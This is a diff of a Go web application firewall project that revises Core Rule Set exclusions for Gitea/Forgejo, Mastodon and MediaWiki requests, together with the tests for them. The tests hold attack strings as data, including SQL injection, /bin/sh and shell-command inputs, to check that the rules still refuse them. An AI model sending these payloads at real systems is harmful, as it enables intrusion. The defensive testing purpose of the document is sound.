func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
forgejoHost: {forgejo}, otherHost: {wordpress},
})
// A search of a wiki, a search of the admin page, and a file name in
// Forgejo's flash cookie, which only Forgejo's fixes let through.
for _, fixed := range []struct {
request request
result coreruleset.Result
}{
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
{get("/admin/repos?q=python3"), matched(932260)},
{
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
} {
wantResult(t, crs, withHost(fixed.request, forgejoHost), coreruleset.Result{})
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
}
}
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, forgejoHost), coreruleset.Result{})
}
}
// forgejoSearches are Forgejo's searches whose q skips some rules: the
// wiki's and the admin page's, from Forgejo's fixes, and the searches for a
// name, from gitea's.
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
// a wiki, of releases and of a job's log, from the fifteenth change, and the
// searches for a name, from the eighth. The search of code at a branch or tag
// is not one of them: there, as on gitea's search of code, q lets these
// attacks through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{
"/alice/tools/wiki/search",
"/admin/repos",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/explore/repos",
"/explore/users",
"/alice/tools/branches",
@@ -102,16 +63,33 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the wiki's
// search, stay refused in q on paths near it and in another field on it.
// /bin/sh and the hard values, which q lets through on the searches of
// the fifteenth change and on those of branches and packages, stay
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named
// wiki, where gitea's fixes let q through. Forgejo has no owner
// named api, so /api/wiki/search is not one.
// wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches.
for _, target := range []string{
"/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=",
"/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
@@ -119,4 +97,19 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
}
}
}
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
+26 -69
View File
@@ -1,55 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# They are the fields where gitea sends a search, a file name or a branch name.
# Each exclusion runs with the request, before the rules it switches off, those
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
# Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea or its fork forgejo for the request's hostname,
# every rule below is skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
@@ -162,6 +115,13 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch or package name can hold a slash, as feat/docker-support and npm's
# @scope/name do. So q on a repository's branches page and on an owner's
# packages page also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these
# rules there:
# 930120: .profile
@@ -182,8 +142,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, as other apps' pages such as /index.php do,
# so q keeps 932250 there and skips only these rules:
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
@@ -193,6 +153,16 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~
# 934100: process.env.d.ts
@@ -225,8 +195,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and
# redirect_to skip 930120, 932160 and 932260 on every path.
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -398,16 +368,3 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
# Referer skips the rule on Java class names (944130). It refused every page
# opened from the page of java.lang.String.md.
SecAction "id:900641,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
# A container image push that reuses a layer names the image it takes the layer
# from in the query parameter from, which skips the list of command names
# (932260) there. It refused the push of a layer from owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
SecMarker END_GITEA
+1 -10
View File
@@ -1,4 +1,4 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
# The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this
@@ -17,13 +17,6 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3
@@ -304,5 +297,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+131 -41
View File
@@ -55,20 +55,6 @@ const (
mastodonStatus = "status="
)
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=".
//
@@ -120,26 +106,58 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[private_comment]=",
},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[public_comment]=",
},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
{
http.MethodPost,
mastodonBranding,
"form_admin_settings[site_short_description]=",
},
{
http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=",
},
{http.MethodPost, "/filters", "custom_filter[title]="},
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{
http.MethodPost,
"/filters",
"custom_filter[keywords_attributes][0][keyword]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[name]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[website]=",
},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{
http.MethodPost,
mastodonAccount,
"user[invite_request_attributes][text]=",
},
{
http.MethodPost,
"/admin/accounts/1/action",
"admin_account_action[text]=",
},
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
{
http.MethodPost, "/admin/account_moderation_notes",
@@ -163,12 +181,20 @@ var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{
http.MethodPost,
"/settings/migration",
"account_migration[current_password]=",
},
{
http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=",
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{
http.MethodPost,
"/settings/delete",
"form_delete_confirmation[password]=",
},
{http.MethodPost, mastodonSignUp, passwordField},
}
@@ -195,12 +221,28 @@ var mastodonJSONFields = []mastodonBodyField{
},
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -209,8 +251,16 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"name":%s}]}}`,
},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"value":%s}]}}`,
},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
}
@@ -253,7 +303,12 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
}
r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
got, _ := inspectBody(
t,
readingBodies(t),
r,
fmt.Sprintf(sent.field, quoted),
)
return got.Score
}
@@ -284,7 +339,11 @@ func mastodonScores(
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
t,
sent,
value,
)
}
unescaped, err := url.QueryUnescape(value)
@@ -293,7 +352,11 @@ func mastodonScores(
}
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
t,
sent,
unescaped,
)
}
return scores
@@ -330,8 +393,11 @@ func TestMastodonPasswordsPass(t *testing.T) {
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
r := request{
mastodonPasswordJSON.method,
mastodonPasswordJSON.target,
[]string{jsonBody},
}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
@@ -346,8 +412,16 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge},
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
{
"/settings/two_factor_authentication/otp_authentication",
formData,
challenge,
},
{
"/settings/two_factor_authentication_methods/disable",
formData,
challenge,
},
})
}
@@ -522,7 +596,11 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
{mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"},
} {
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
report := mastodonBodyField{
http.MethodPost,
mastodonReports,
sent.body,
}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got)
}
@@ -586,12 +664,20 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
}
// Elsewhere both keep the two rules.
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
signIn := mastodonBodyField{
http.MethodPost,
mastodonSignIn,
mastodonUsername.field,
}
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn)
}
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
statuses := mastodonBodyField{
http.MethodPost,
mastodonStatuses,
mastodonHashtag.field,
}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses)
}
@@ -631,7 +717,11 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
if mastodonForm(
t,
sent,
"python3%40example.com",
) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
+3 -17
View File
@@ -1,4 +1,4 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,13 +21,6 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
@@ -215,12 +208,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
# of /index.php. A title on any other path does not count, so another app's
# paths under /index.php/ keep every rule. These rules are in phase 2, because
# the forms send authAction in the body. They check tx.app_mediawiki, since the
# skip above does not reach phase 2.
# the forms send authAction in the body.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900919,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
SecRule ARGS:authAction "@streq change" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
@@ -262,7 +253,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900920,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:retype "@eq 0" "chain"
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
@@ -391,12 +381,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
# holding a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -405,5 +393,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+69 -89
View File
@@ -5,16 +5,11 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -54,77 +49,6 @@ const (
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// Passwords that only the phase 2 rules 900919 and 900920 let through,
// each sent with the authAction of its form.
for _, sent := range []struct{ target, body string }{
{
mediawikiAccountChange,
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
},
{
mediawikiSignUp,
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, sent.body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, sent.body, giteaHost, got)
}
}
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
@@ -297,7 +221,13 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
t.Errorf(
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
}
}
}
@@ -307,7 +237,11 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
r := request{
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
@@ -346,15 +280,31 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change},
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
{
mediawikiAccountChange + subpage + "?" + changeAction,
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change,
},
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
{
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages.
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
{
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype,
@@ -395,7 +345,12 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
t.Errorf(
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
}
}
}
@@ -426,7 +381,9 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs := atDefaults(t)
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
targets := append(
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -443,7 +400,12 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
t.Errorf(
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
}
}
